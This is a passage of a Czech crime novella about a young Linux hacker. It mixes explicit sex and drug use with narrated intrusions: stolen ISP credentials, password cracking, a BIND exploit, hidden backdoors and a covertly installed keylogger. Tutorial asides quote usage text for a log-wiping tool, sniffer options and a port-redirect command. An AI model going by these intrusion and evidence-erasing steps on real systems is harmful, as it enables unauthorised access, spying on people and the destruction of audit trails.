Hacker - odvrácená tvář života Jan Janda Úvod Publikováno s laskavým svolením autora Zdroj http://sweb.cz/neknihy Na úvod se musím přiznat, že inspiraci k napsání této knihy jsem získal po přečtení jednoho postu, v jedné nejmenované konferenci na Internetu. Bylo zde popisováno, jak dva hackeři bojují o vládu nad internetovým serverem. Příběh je sice vymyšlen, ale není nereálný, jako většina tzv. kvalitních filmů, které můžete denně vidět v televizi. Je zajímavé, že tyto pohádky se líbí a mají slušnou sledovanost. Když se ale trochu zamyslíme např. nad filmem Vetřelec, musíme si nutně položit otázku - je to realné? Myslím, že odpověď asi bude negativní. To se o tomto příběhu rozhodně říci nedá. Všechny zde použité názvy, které patří různým hackerským nástrojům jsou běžně dostupné na Internetu. To se o různých efektech nebo drahých pomůckách použitých v různých filmech říci nedá. Podobné je to i s romantickým příběhem o lásce. Tyto příběhy jsou sice pěkné, ale opět, většina z nich nereálná. Život je mnohem tvrdší a nemá význam se před touto realitou schovávat za nereálnou oponu snů. Je nutné se podívat tvrdé pravdě přímo do očí. Ale dost filozofování. Kniha, kterou právě začínáte číst je o hackerech, sexu, drogách, nájemných vraždách, lži, podvodech, nenávisti, aj. negativních lidských vlastnostech. Hlavním hrdinou je mladý člověk, který totálně podlehl počítačům. Tak se pěkně posaďte, příběh právě začíná. Odvrácená tvář života Kevin se narodil před osmnásti lety jedné prostitutce. Jak to tak u těchto "matek" chodí, nechtěla ho. Zůstal v nemocnici. Přesto měl štěstí v neštěstí. Za dva roky ho adoptovala jedna bohatá rodina. Přesto Kevin strádal, především psychicky. Kevin neznal pozadí své adopce. Jeho nevlastní otec ho nikdy nechtěl a také to dával jasně najevo. Nikdy se na něj neusmál a o pohlazení nemohlo být ani řeči. Možná také proto, že získal slušný majetek a teď se bude muset dělit s nějakým cizím člověkem. Ani jeho nevlastní matka nebyla o nic lepší, navíc byla silně ovlivněna manželem. Nakonec u ní zvítězil stejný pocit - adopce byla chyba. Kevina tyto "rodinné" poměry dost ovlivnily. Není se co divit že? Kevin neměl rád lidskou společnost - nejraději byl sám. Ve škole byl zaražený a divil se, jak se někdo může smát každé hlouposti. Přesto ve škole rozhodně nepatřil k nejhorším. Právě naopak. Především matematika byla jeho velkou láskou. V ní neměl ve třídě konkurenci. O ostatní předměty nejevil velký zájem. Přesto v tomto směru nastala rozhodující změna. Jednoho dne, jim třídní učitelka oznámila, že škola má novou počítačovou učebnu s připojením do Internetu. Kevin tomu nevěnoval zpočátku velkou pozornost, ale rozhodující zlom nastal když se posadil před monitor. Byl uchvácen jak může pomocí myši "cvičit" s tím operačním systémem, kterému se říká Windows. Systém dělá přesně to, co on chce. Nic jiného. Není to jako v životě lidí. Když Kevin něco zkazí, tak ví, že to pokazil on, a ne někdo jiný. Jednoho dne si Kevin řekl, že ten počítač musí mít doma. Přesto, že jeho "rodiče" zpočátku zásadně nesouhlasili, museli nakonec ustoupit. Za několik dní se na jeho stole roztahuje zbrusu nový počítač 486DX 100 s Windows 95 OSR2. To již Kevina nezajímá nic jiného. Jeho malá knihovna je za několik dní plná počítačové literatury. Kevin našel to, co dlouho hledal. Jeho nový kamarád si s ním bezva rozumí a on s ním také. Za několik měsíců zná Kevin tento systém úplně z paměti. Ale Kevin chce víc. Pomalu zjišťuje, že tento systém není pro něho to pravé. V jeho knihovně je již několik knih o Unixu a Linuxu - ty jsou mnohem zajímavější. Jednoho dne se rozhodne. Koupí si Linux. Nakonec investice sto korun není žádná tragedie. Doma si vytvoří pro Linux logický disk a začne instalovat. Angličtina mu nečiní problémy. Kevin je již ve čtvrtém ročníku gimnázia, takže něco již umí. Přesto je dost zaskočen složitostí instalace. Především výrazy jako /dev/hda aj. jsou mu nějak cizí. Musí se ještě hodně učit. A to také dělá. Celé tři dlouhé roky studuje manuály Unixu a Linuxu. A výsledek na sebe nedá dlouho čekat. Brzy se stane softwarovým kouzelníkem, jak ve skriptu shellu, tak v jazyce C. Kevin velmi rychle pochopí, že jeden počítač je málo. Aby se Linux pořádně naučil, musí mít dva a propojené do sítě. Od myšlenky není daleko k realizaci. Za čtrnáct dní se na jeho velkém stole roztahuje druhý počítač. Jde sice jen o třiosmšetku, ale to Linuxu nevadí. To Kevim již dávno ví. Kevin oba počítače propojí pomocí síťových karet a teď konečně má to, co chtěl. Může se připojovat na jeden Linux z Linuxu druhého a opačně. Zkoušet se připojit rloginem bez hesla, testovat exploity aj. Kevina totiž nezajímá nic jiného než hackerské fígle. Od té doby co má doma Internet, je jeho výchozí stránka střídavě nastavena na rootshell.com nebo insecure.org. Samozřejmostí je být přihlášen do konference Bugtraq. Jeho diskety jsou plné exploitů a naistalovaný Linux je plný hackerských nástrojů. Většinou je testuje na své domácí síti, ale občas vystrčí periskop i do Internetu a Nmapem zkusí něco skenovat. To se již z Kevina stal sebevědomý mladý muž. Začal studovat matematicko fizykální fakultu na Karlově univerzitě. Také si našel v Praze přítelkyni. Jeho nová přítelkyně počítačům vůbec nerozumí. Pracuje jako prodavačka v jednom supermarketu. Kevin se s ní seznámil úplně náhodou při nákupu. Předtím vypil několik piv, takže mu stouplo sebevědomí. Oslovil jí a pozval do kavárny. Ona kupodivu souhlasila. Brzy se stala další nájemnicí v jeho malé garzonce kousek od Prahy. Marta byla pěkná a sebevědomá mladá žena. Strašně měla ráda sex a to Kevina omráčilo. Byla jeho první dívkou se kterou spal. Nebyla vůbec stydlivá. Jednou Kevin zkoušel nový exploit, který mu právě přišel z konference Bugtraq. Kevin pochopil, že to bude opět nějaká bomba, nejenom proto, že autorem byl jeho oblíbenec Michal Zalewski. Kevin zdrojový text okamžitě uložil do souboru a na příkazovém řádku přeložil. Překlad proběhl bez problémů. Jak jinak. Pak začal číst soubor README, který byl součástí exploitu. Zdá se, že pan Zalewski našel zase nějakou chybu. To je skvělé. V tom u dveří zazvoní zvonek - Marta přišla. Ne, že by byl nerad, ale v tuhle chvíli? No nic jde otevřít. "Čau lásko" řekla Marta. Kevin odpověděl a spěchá zpět k počítači. Marta se k jeho židli nenápadně zezadu přiblíží. Kevin ucítí její nový parfém a ví, že je ztracen. Bude muset testování nového exploitu odložit. Ucítí její chladnou ruku na svém obnaženém rameni, a ví co bude následovat. Prožil to již několikrát. Její ruka mistrně zajela do jeho rozkroku. Kevinovi v jeho přirození silně zacukalo. Otočí se na Martu, která náhle vidí, že jeho mužská chlouba nutně potřebuje ven z kalhot. " Miláčku neboj, postel je nedaleko" řekla Marta a téměř násilím odtáhla Kevina do peřin. Milovali se dlouho a Kevin ztratil přehled, kolikrát to vlastně bylo. Zeptal se tedy Marty: "Nevim nepočítám Ti to" odpověděla. Pravděpodobně usnula, protože přestala reagovat. Kevin usnul také. Asi za hodinu se Kevin probudí a dostane opět chuť na milování. Marta je jiného názoru. Nějak jí bolí v rozkroku. Časté milování zanechalo na její milované skulince své následky. Jednou se milovali tak dlouho, že Marta musela použít vložku na silně podrážděnou skulinu lásky. Ta se ovšem přilepila a druhý den jí s Kevinem museli opatrně odlepit. Zničená Marta odešla ráno rovnou do práce. Kevin ví, že bude mít čas na svojí hlavní lásku - exploity. Kevin se stal postupně špičkovým počítačovým odborníkem. Možná také proto, že na vysoké škole měl přístup ke špičkovým technologiím. S kamarády mohli diskutovat problémy a ty řešit. Ovšem jeho zajímal pouze hacking. Na školu kašlal. Přestal chodit na přednášky a odkládal zkoušky. Nakonec na školu přestal chodit úplně. Usoudil, že mu škola stejně nic nedá. Našel si velmi dobře placenou práci u počítačové firmy, jejíž sláva se hvězd dotýká. Těch sedmdesát tisíc měsíčně za to stojí opustit školu. Naštěstí u této firmy je nezajímá titul, ale to, co člověk opravdu umí. A Kevin toho uměl opravdu hodně. Brzo se stal nepostradatelným odborníkem ve firmě. Ale žil dvojí život. Doma dělal věci, nad kterými by jeho zaměstnavatel minimálně kroutil hlavou. Přesto Kevin nebyl spokojen. Měl sice téměř vše, co může mladý muž mít, jako je dobrá práce, hezká přítelkyně, hodně peněz, rychlé auto, ale stále nebyl spokojen. Chyběl mu anonymní přístup do Internetu pomocí modemu. Přístup sice měl, ale dobře věděl, že každým zavoláním do Internetu zanechal záznam o svém tel. čísle v telefonním logu svého poskytovatele internetových služeb. Ten totiž používá ISDN přípojku. To sice Kevinovi umožňuje komunikovat rychlostí až 56Kb/s, ale to pro Kevina není důležité. Moc dobře ví, že na příkazovém řádku Linuxu, kde většinou pracuje není rychlost rozhodující. Na své domácí síti zkouší vše co jenom jde. Remote exploity mají samozřejmě přednost. (Poznámka: výrazy jako exploit, backdoor aj. jsem podrobně popsal v knize "Hacking - odvrácená tvář Internetu"). Kevinův Linux je plný nebezpečných hackerských programů. Kromě exploitů, které se neustále mění, zde má všechny standardní věcičky. Samozřejmostí je John the Ripper, Nmap, (byly popsány v knize Hacking - odvrácená tvář Internetu). Dále tam nechybí redirektory, čístiče logů,sniffery, balík programů pro DDos útok, upravené root setuid programy, jako např. ping, traceroute aj. Nechybí ani upravený program /bin/login. Samozřejmostí musí být i programy na přesměrování shellu na porty, jako např. bindshell. To vše a mnoho dalšího, dělá z Kevinova Linuxu nebezpečnou hackerskou distribuci. Můžeme na chvilku opustit náš příběh s Kevinem a podívat se na některé programy trochu podrobněji. Např. výše jmenované čističe logů jsou pro Kevina velmi důležité. Jsou to programy, které umí odstraňovat z binárních logů hackerem zvolené záznamy. V Linuxu existuje program s názvem Last, který dokáže přečíst údaje v souboru /var/log/wtmp. Právě sem, ukládají různí síťový démoni informace o přihlašujících se uživatelech. Otevřete-li tento soubor v editoru Vi, uvidíte pouze binární nesmyslné snaky. Existuje např. program s názvem Wipe, který dokáže vámi zvolené záznamy z tohoto souboru odstranit. Že se jedná o opravdu skvělý program, dokazuje jeho výstup při spuštění bez zadání parametrů: USAGE: wipe [ u|w|l|a ] ...options... UTMP editing: Erase all usernames : wipe u [username] Erase one username on tty: wipe u [username] [tty] WTMP editing: Erase last entry for user : wipe w [username] Erase last entry on tty : wipe w [username] [tty] LASTLOG editing: Blank lastlog for user : wipe l [username] Alter lastlog entry : wipe l [username] [tty] [time] [host] Where [time] is in the format [YYMMddhhmm] Ten, kdo trochu rozumí Unixu ví, že jde o univerzální čistič na všechny logy. Můžeme se ještě podrobněji podívat na výše zmiňované sniffery. Jeden z nejpopulárnějších je určitě program Super sniffer (ss). Umí toho opravdu hodně. Kromě zachytávání paketů a ukládání dat do souboru, umí v něm uložená data šifrovat. Standardně se spouští jako proces běžící na pozadí. Lze jej samozřejmě skrýt, např. upraveným programem ps nebo top. Zde jsou jeho možnosti vytažené ze souboru README: Summary of options ================== -i [interface]Specify interface to sniff on -cDES encrypt output -d [length]Sniff [length] bytes of each connection. -fSniff in foreground. -nSniff NFS filehandles. -pParanoid mode. Vidíme zde velmi zajímavou funkci Paranoid mode, kterou se proces ukončí v případě, že se přihlásí root. Samozřejmostí je i výše zmiňované šifrování pomocí algoritmu DES. Tímto způsobem lze na síti zachytit např. uživatelská jména a hesla. Ale zpět ke Kevinovi. Ten potřebuje pro svoji nekalou činnost anonymní přístup do Internetu přes dial-up. Měl v tomto případě štěstí. Získal jich dokonce několik. Navštívil jednoho poskytovatele internetových služeb a přívítala ho mladá slečna v krátké sukni. To Kevina příliš nezajímalo a hned se zeptal kolik stojí připojení do Internetu modem pomocí tel. linky. Slečna odpověděla 500 korun za měsíc. Začal ze sebe dělat laika, který vůbec neví co je Internet. To mladou slečnu evidentně pobavilo. Začala se chovat chytře a vysvětlovala Kevinovi jak nastavit dila-up připojení ve Windows. Kevin dělal, že ji poslouchá. Stůl měla plný různých papírů a Kevin si všiml, že je mezi nimi několik listů, které patří novým uživatelům Internetu. To je to, co potřebuje - cizí uživatelský účet. Jak se k těm informacím dostat? Slečna zatím stále vysvětluje nastavení dial-up připojení ve Windows. Teď se stalo něco, na co Kevin čekal. Do místnosti vstoupil nějaký pán, na kterého slečna již čekala a potřebovala s ním někam odejít. Požádala proto Kevina aby se nezlobil, že musí na chvilku odejít. Hmm, Kevin se určitě zlobit nebude že? Navíc mladá slečna měla klapající střevíce, takže bylo slyšet jak po chodbě odchází poměrně dost daleko. Z toho Kevin bleskově usoudil, že má dost času. Ani vteřinu neváhal. Opsal si potřebné údaje na papír a klidně si sedl zpět do křesla. Za chvilku bylo opět slyšet zesilující klepání střevíců mládé sexy slečny, která se vracela zpět. Ta se Kevinovi omluvila, že musel čekat a pokračovala ve vysvětlování dial-up připojení ve Windows. Kevin jí ale přerušil s tím, že je to moc složité a že si musí koupit nějakou knihu a přijde později. Kevin rychle zmizel. Má to, co potřeboval. Ještě zjistit, zda nepoužívají ISDN a vše je OK. Letí domů rychle nastavit svůj Linux a zkusit nový účet. Ale již za dveřmi ucítí známou vůni parfému Marty. Byla uvnitř a čekala na něho. Seděla v křesle v extrémně krátké minisukni a nepřirozeně se smála. V místosti byla citít marianka. Zase kouří ten sráč. Nabídla Kevinovi, ten neodmítl. Má to před milováním rád, člověk se pěkně uvolní. To, že to uvolňuje bylo vidět na Martě. Sundala si tenkou blůzu a požádala Kevina aby jí sundal malou podprsenku. Kevin neodmítl. Teď byla řada na Martě. Uvolnila Kevinovi kalhoty, které mu velmi rychle stáhla. Tvářila se dost divoce, takže Kevin dostal trochu strach. Marta několikrát rukou přejela jeho již téměř stojící úd a vzala si tu věc do úst. Svým hadím jazýčkem začala mistrně kmitat po jeho žaludu. Netrvalo to dlouho a ústa Marty byla plná semene. Ještě než Kevinův úd povadl, stačila vysát poslední zbytky jeho semene. Teď je řada na Kevinovi. Marta na nic nečeká, a ve svém křesle roztáhne svoje útlé nožky. Kevin zajede svým jazykem do její vonné studničky. Kevinův jazyk kmitá okolo zduřelého poštěváčku. Mezi přestávkami může vidět její mírně zduřelé malé stydké pysky od jejich vášnivých souloží. Netrvá to dlouho a Marta začne křičet - orgasmus se dostavil. Teď dostali chuť na pravou soulož. Marta zkušeně pomůže rukou Kevinovu údu, který se opět postaví do pozoru. Marta ho mírně nasliní, aby lépe vklouzl do její horké pochvy. Netrvá to dlouho a Kevin stříká do její dělohy horké semeno. Marta ovšem není spokojená. Kevin to měl příliš rychle a Marta má stále chuť. Takže se mírně pohádali a Kevin už nemá na nic náladu. Marta je naštvaná, rychle se obleče a odchází. To Kevinovi hraje do karet. Může vyzkoušet svoje ukradené účty. Rychle změní pár řádků ve svých iniciačních skriptech. Po chvíli jeho skript hlásí "dial-up spojení navázáno". Je tam a anonymně. Přesněji řečeno na účet někoho, koho ani nezná. Kevin se zkusí připojit na server poskytovatele pomocí FTP. A hle je v kořenovém adresáři. Podle názvu adresářů je jasné, že je to Linux. Kevin jako zkušený hacker okamžitě stahuje passwd. Bleskovým pohledem do něho usoudí, že nepoužívají stínový soubor hesel. Paráda! Kevin déle stahuje rootův bash_history. Ten může skrývat velká tajemství. Zatím ho nechá a nastartuje program John the Ripper. Má několik velkých wordlistů, které obsahují statisíce slov. Za několik minut se dostaví výsledek. Pět hesel rozluštěno. Ješte zkusí Johna v režimu single a má opět štěstí. Administrátor si zvolil heslo root12. Takže Kevin má roota. Ale to tady není důležité. Musí být hodný aby měl dále anonymní přístup do Internetu. Druhý den večer volá mobilem Martě. Podle podle jejího hlasu pozná, že je opilá. Pravděpodobně zase sedí někde v putice. Marta ho prosí, aby přišel za ní. Kevin si sice chtěl původně projít ten rootův bash_history, ale opitá Marta také není k zahození - bývá dost vášnivá. Jde za ní do hospody. Sedí tam s nějakými kamarádkami z práce. Jsou tam čtyři a všechny pěkně pod parou. Kevin si dá pivo. Čepují tady Krušovice a ty docela jdou. Hlavně mají čisté sklo a Kevin vidí na pult, jestli číšník vyplachuje poháry. Marta s holkama popijí nějaké víno a pořád se divně hihňají. Všechny byli moc pěkné. Kevina napadla ďábelská myšlenka. Co když půjdou s Martou k němu? Není to náhodou jejich cílem. Nechce se mu Marta pomstít za minulou nevydařenou soulož? Uvidíme. Kevin přemýšlí, jestli vůbec zná Martu pořádně. Její rodiče nikdy neviděl a ani neví kde bydlí. Marta sice tvrdí, že bydlí na ubytovně v Nuslích, ale nikdy tam nebyl. Kevin si objednal další pivo a cítí, že dostává žízeň. Holky jsou již řádně ožralé a nutí Kevina dopít zbytek vína v poloprázdé vlašce. Kevin neodmítá. Již od mládí má slabost na děvčata a udělá jim všechno co jim na očích vidí. Asi v deset hodin, jim číšník nečekaně oznámí, že se zavírá. Sklamaná děvčata včetně Marty navrhnou Kevinovi, že by mohli pokračovat u jedné z nich. Kevin souhlasí. Jak jinak. Sestoupí do metra a první soupravou odjedou. Ve stanici Radlická vystoupí a ještě nejméně deset minut jdou pěšky. Kevin již z dálky viděl ten nádherný osvětlený dům, ale ani ve snu by ho nenapadlo, že v něm bydlí některá z těch opitých holek. Jak velké bylo jeho překvapení, když se před domem zastavili a jedna z nich vyndala nějaky dalkový ovladač a náhle se dveře sami otevřely. Kevin byl šokován. Vstoupili do nádherně osvětlené zahrady, která byla plná skalek a malých jezírek. Kráčeli ještě nejméně padesát metrů, než došli k obrovským, nádherně opracovaným dřevěným dveřím. Dívka zadala do klávesnice vedle dveří nějaký kód a dveře se velmi tiše otevřely. Vstoupili do velké vstupní haly a Kevin si připadal jako na zámku. Pokoušel se odhadnout cenu tohoto "stavení" a dospěl k hrubému odhadu několik desítek milionů. Vešli do velké místnosti, asi domov hezké hostitelky. Po chvilce váhání se Kevin zeptá. "To je tvoje ten barák". "Ne rodičů" odpoví dívka. "A co dělájí" zeptá se Kevin. "Otec dělá něco na ministerstvu a matka je v invalidním důchodu" odpoví klidně dívka. "Vy jste vyhráli ve sportce"? Rejpne si Kevin. Dívka jen s úsměvem zakroutí hlavou. Tak tohle Kevina zajímá. Úplně přestal mít o dívky zájem. Stejně jsou ožralé jak prasata. Kevin se zeptá "majitelky". "Máte doma počítač? Potřebuji si nutně odeslat jeden delší mail do práce." "Ale ano" odpoví dívka a odvede Kevina do menší místnosti, kde na pracovním stole leží zapnutý počítač. "Tady je" odpoví dívka a jemně rukou zavadí o Kevinovo přirození. Za normálních okolností, by to Kevin bral jako jasnou výzvu o sex, ale teď má jiné starosti. Dívka odejde a Kevin se dá do práce. Ze své zálohy na Internetu si stáhne zachytávač kláves a nainstaluje ho do Windows 95, který tady běží. Kevin si všiml, že zde mají Internet na pevnou linku. Jak jinak. Vše proběhne hladce. Ještě reset Windows a je dokonáno. Nic není vidět, alespoň ne pro laika. Kevin nastavil zachytávač tak, aby zachytával pouze stisknuté klávesy. Je zbytečné ukládat i manimulaci s okny, protože soubor do kterého se data ukládají je pak příliš velký. Jednou denně se data odešlou na tajný Kevinův účet, na který se Kevin připojuje pouze z internetové kavárny. Vrátí se zpět k děvčatům a oznámí, že tady končí. Holky stejně usnuli, takže je to jedno. Druhý den volá Kevin do práce, že si bere 14 dní dovolenou. Nejsou z toho nadšeni, ale Kevin tam má dobrou pozici, tak si to může dovolit. Hned poté pustí svůj počítač a konečně se může mrknout do toho souboru bash_history, který si stáhnul včera přes ten ukradený účet. Rychlý pohled do tohoto souboru Kevinovi neřekl nic mimořádného. Samé příkazy who, mail, man cut nebo adduser. Náhle však Kevina zarazil jeden příkaz. Měl následující tvar: accpwd -t sdvg5t karel. Kevin si pamatoval, že v /etc/passwd bylo uživatelské jméno karel. Ale co znamenají ty nesmyslné znaky předtím? Už to má! Je to určitě jeho heslo. Kevin potřebuje důkaz. Udělá si malý wordlist a John the Ripper mu jeho myšlenku potvrdí. Kevin najde v tomto souboru ještě několik takových řádků, takže má další účty. Paráda řekne si Kevin. On ale potřebuje víc. Potřebuje na Internetu nějaký hacknutý Linux, aby měl přístup do shellu a mohl být stoprocentně anonymní. Samozřejmostí jsou pro Kevina práva roota. Jak takový server získat? Kevin může např. Nmapem skenovat mašiny a hledat nějaký špatně zabezpečený Linux. Takových je na Internetu dost, ale Kevin potřebuje nějaký "zapadlý" Linux. Problém může být i jeho proražení a následné získání práv administrátora. Ale to pro Kevina nebude problém. Z konference Bugtraq ví, že programový balík Bind, který se používá pro instalaci nameserveru je děravý jak řešeto. Jen najít vhodnou oběť. V tomto případě raději vhodnou verzi. Pro tento účel si Kevin stáhnul šikovnou utilitku Bindinfo, která mu na jeho otázku dokáže mistrně odpovědět. Konečně našel jeden server, na kterém pracuje hodně starý Bind a Kevin ve své bohaté databázi má na něho exploit. Napíše pár řádků kódu a za okamžik nic netušící program Named na vzdáleném Linuxu spouští jeho podstrčený kód s právy roota. Během deseti minut je Kevin inside a mrká na něho rootův shell. Přesune na hacknutý Linuxu některé hack nástroje, jako např. redirektory, pár exploitů, čistič logů Wipe, cgi skript pro remote administraci přes web. To zatím stačí. Kevin zkusí příkaz who, není-li na systému ještě někdo. Vytvoří si skript, který automaticky smaže jeho soubor .bash_history po odhlášení. Není to sice ideální řešení, ale lepší než nic. Ssh naštěstí funguje, takže Kevin nemusí aktivovat telnetd v /etc/inetd.conf. Instaluje si několik backdoorů, které jsem popsal již v minulé knize. Umístí je do adresáře /lib a dá jim i podobné jméno s koncovkou .so. Tady se nevrtá ani admin :). Vytvoří si v horní části souboru /etc/passwd nový řádek, reprezentující běžného uživatele. Ten bude používat pro přihlážení pomocí ssh. Pak se změní v superuživatele zadáním jména svého backdooru s tajným parametrem. Backdoor musí být samozřejmě root setuid soubor. Pojďme nyní trochu odbočit od našeho příběhu s Kevinem a podívejme se podrobněji na program Redir. Je to redirektor, který přesměrovává pakety. O tom jsem psal již minule, takže to tady nebudu opakovat a podíváme se na něho rovnou podrobně. Běží-li na systému redirektor, může část výpisu programu ps vypadat takto: 133 ? S 0:00 inetd 144 ? S 0:04 sshd 156 ? S 0:00 rpc.mountd 165 ? S 0:00 rpc.nfsd 189 ? S 0:00 rpc.yppasswdd 196 ? S 0:00 sh /etc/rc.d/rc3.d/S72amd start 210 ? S 0:00 redir 192.45.12.6 31337 23 220 ? S 0:00 sendmail: accepting connections 247 1 S 0:00 -bash 248 2 S 0:00 /sbin/getty tty2 VC linux 249 3 S 0:00 /sbin/getty tty3 VC linux 250 4 S 0:00 /sbin/getty tty4 VC linux 251 5 S 0:00 /sbin/getty tty5 VC linux 252 6 S 0:00 /sbin/getty tty6 VC linux Redirektor má číslo procesu 210 a hacker ho spustil na příkazovém řádku např. takto: redir 192.45.12.6 31337 23 & Program se spustí na pozadí jako proces. Přesměruje všechny pakety na IP adresu 192.45.12.6 na port 23, což je telnet. Na lokálním stroji naslouchá na portu 31337. Sem se také hacker připojí z jiného stroje. Chcete-li tento proces ukončit, provede to příkazem kill 210. No tak to by stačilo ne? Na pokraji života a smrti Zpět k našemu příběhu s Kevinem. Ten si dá několik dní pokoj, aby se situace okolo hacknutého serveru uklidnila. Jestli tam bude vše stejné za několik dní, tak Kevin měl štěstí - admin na to sere. Jestli se nepřihlásí, dá od něho ruce pryč. Těď si vzpoměl na Martu. Co dělá? Uvidíme, zavolá jí později, nejprve si dá několik piv v hodpodě za rohem. Když dopijí třetí kousek, volá Marta. "Včera mě chytli nějaký pánové a ptali se na tebe. Kde jsi zaměstnán, tvoje jméno a takový divný fízlovský otázky" povídá do mobilu Marta. Kevin se zarazí a rychle dopije zbytek piva v poháru. "Kde jsi" povídá Kevin do mobilu. "V práci" odpoví Marta. "Jdu za tebou" řekne Kevin a hovor ukončí. Marta pracuje v supermarketu, který je na druhém konci Prahy. Kevin chvátá a proto nechce jed metrem. I když pil, nastartuje rychle svého sportovního bavoráka a jede. Za několik minut parkuje před supermarketem. Najde Martu, která pracuje v informačním centru. Musí čekat, protože Marta vysvětluje nějaké nahluchlé bábě kde prodávají sluneční brýle. Konečně má Marta trochu klidu, ale nic dalšího se od ní nedozví. Pouze Marta mu připadá nějaká divná. Její sexy vzhled nějak vzal za své. Napadlo ho strašné vysvětlení, ale rychle na to raději zapoměl. Kevin jede domů a má strach. Strach z AIDS, strach z neznámých lidí..a co ještě? Doma si lehne na postel a snaží se přemýšlet. Nic ho nenapadá. Že by ho někdo lapil v souvislosti z jeho hackováním? To se mu nezdá. Sakra a co to noční party v té luxusní vile? To je určitě ono! Možná někdo přišel na ten instalovaný zachytávač kláves. Kevin se rychle připojí do Internetu a napojí se na svůj hacknutý Linux. Teď zažije největší šok ve svém životě. Po přihlášení se na jeho monitoru objeví šokující uvítací hlašení. Jeho jméno, rodné číslo, jméno matky a její rodné číslo. Otec chybí. Jméno své matky čte poprvé v životě. Je mu jasné, že tyto informace má pouze Policie. Přesto Kevin pokračuje dále. Spustí znakový prohlížeč Lynx, který je standardní součástí každé distribuce Linuxu. Jde sice pouze o znakový prohlížeč, který neumí zobrazovat obrázky, ale to Kevinovi nevadí. Na freemailovám serveru kde má svůj tajný účet tento prohlížeč může použít. Po přihlášení mu server hlásí jednu novou zprávu. Kevin ji rychle otevře a čte šokující informace. Anglicky psaný text říká, že nějaký pán ze Švédska, zasílá jistému Karlu M. další splátku ve výši milion US dolar. Kevinovi je okamžitě jasné, že jeho život je ohrožen. Jistý pán Karel M. je velmi vlivný úředník ministerstva vnitra, o kterém se hovoří, že patří k nejmocnějším mužům na tomto ministerstvu. Pracoval zde již za bolševika a má velmi dobré kontakty v Rusku. Kevin o tomto pánovi slyšel několikrát nejenom v počítačovém undergroundu. Kevin se odpojí a začne intenzivně přemýšlet. Jeho život je vážně ohrožen. Nechce skončit někde na dně Orlické přehrady. Kevin volá mobilem Martě, jestli nezná kámošku z luxusního domu. Mobil vyzvání pouze vteřinu a Marta se ohlásí. "Čao" řekne Marta do Kevinova mobilu. "Hele neznáš náhodou tu holku i které jsme byli na tom mejdanu?", slídí Kevin. "Ne, ale mám na ní číslo mobilu." Odpovídá Marta. Fajn, řekne si Kevin a zapisuje její číslo do paměti svého mobilu. Aniž se s Martou rozloučí, ukončuje spojení a volá tajemné dívce. "Prosím" ozve se v Kevinově mobilu. "Čau tady je Kevin. Jsem ten přítel Marty, jak jsme u vás jednou byli...jestli si pamatuješ. "Ale ano" odpovídá dívka. "Potřeboval bych s tebou nutně hovořit osobně. Nemáš chvilku času?" Ptá se Kevin. "Mám" říká dívka. "Jsem doma sama, klidně k nám přijeď. "Nepamatuji si cestu" říká Kevin. Dívka chvilku Kevinovi vysvětluje cestu, ale nakonec mu slíbí, že na něho počká ve stanici Radlická. Kevin souhlasí a chvátá na metro. Za dvacet minut zastavuje souprava ve stanici a Kevin nejisě vychází do vestibulu metra. Má divný pocit. Tuší, že ho někdo sleduje. Buhužel se nemýlí. Okamžitě pozná opodál stojící dívku, která vůbec netuší o co Kevinovi jde. Její oblečení a úsměv kterým ho přivítala dáva tušit úplně jiné důvody. Kevin není vůbec škaredý mladý můž. Právě naopak. Vysoký, štíhlý, tmavé vlasy a modré oči s přirozeným usměvem z něj dělají mimořádně atraktivního mladého muže. Kevin přijde k dívce a povídá "Asi mě sledují". Kevin s dívkou rychle zahnou do vedlejší ulice. Kevin se při tom snaží dívce vysvětlit, že jeho život je vážně ohrožen. Dívka nic nechápe, ale evidentně se tím baví. Kevin se musí zbavit svých pronásledovatelů. Ale jak? Oni ho přeci mají úplně v hrsti - jsou to policajti. Odposlouchávají jeho telefon na pevnou linku, dokonce i datovou komunikaci. To vše je pro Kevina zlověstné. Navíc si u svých pronásledovatelů povšiml východních rysů v obličeji. Z toho usoudil, že na něho poslali profesionální zabijáky. Musí zmizet. Oznamuje dívce, že se za dvě hodiny sejdou pod sochou svatého Váslava. Dívka již cosi začíná tušit a s Kevinem souhlasí. "Teď se musíme rozdělit" povídá Kevin "snaž se jich zbavit". Kevin osloví jedno stojící taxi. Za několik minut již jede směr k místům, kde stojí jeho pronajatá garáž, s jeho sportovním BMW. Kevin se ohlíží, zda se pronásledovatelů zbavil. Když zjistí, že tomu tak je, uklidní se. Nedaleko své garaže taxík zastaví, Kevin zaplatí a dále jde pěšky. Otevře garáž a vyjede. Vzduch je čistý. Tentokrát se nemýlí, protože jeho blesková reakce pronásledovatele dost překvapila. Kevin šlápne na pedál a silný motor ho přilepí do sedadla. Vyjede. Kevin má ještě asi hodinu čas a zajede naplnit poloprázdnou nádrž. Pak telefonuje dívce, jestli je vzduch čistý. "Ano" povídá dívka nejistým hlasem. Kevina napadne, že by se jí mohl zeptat na něco po telefonu. Na otázku, zda její otec něco neříkal v souvislosti s počítačem, odpověděla, že strašně zuřil a ptal se kdo u něho byl. "A co jsi mu řekla" ptá se. Že jsi tam byl ty. Řekla klidně. Kevinovi to stačilo. Už jí nepotřebuje. "Všechno ruším, nikam nechoď" a zavěsí telefon. Kevin neví co má dělat. Je v zoufalé situaci. Klidně ho mohou hledat jako normálního zločince, který se vloupal do cizího počítače a jen tak náhodou objevil ještě většího lumpa než je on sám. Problém je v tom, že prostředky na dodržování zákona má v ruce ta druhá strana. Kevin šlápne na pedál a sportovní bavorák vyjíždí ven z Prahy. Potřebuje klid, aby mohl přemýšlet. Zahne ven z dálnice a ujistí se, že není sledován. Určitě ne. Nikdo by mu nestačil. Jeho skvělé auto dokáže jed téměř třista kilometrů za hodinu. Na silnici je jako přilepené. Policejní Felicie nemají šanci. Kevin zejede na lestí cestu, vypne motor a uslyší odlétavající vrtulník. Policejní vrtulník. To ale Kevin neví. Mezitím také policie dala mediím falešnou informaci o tom, že hledají velmi nebezpečného zločince. Všechna elektronická média tuto informaci velmi ráda zveřejní. Dokonce i jeho fotku. Jak tuto situaci řešit? Může např. kontaktovat některé noviny a všechno jim říci. Rozhodně něco musí udělat. Hlavně nějak zastavit ty zabijáky. Jeho mozek pracuje na plné obrátky. Náhle ho napadne jednoduchá myšlenka. Přeci ta dcera toho policejního mafiána, určitě zná číslo mobilu svého otce ne? Okamžitě jí volá. "Čau" řekne dcera mafiána do Kevinova mobilu. "Hele potřebuji číslo mobilu tvého otce" říká Kevin. Dívka mu ho okamžitě předá a Kevin ho bleskově zapíše do paměti svého mobilu. "Jak se vlastně jmenuješ?" ptá se Kevin 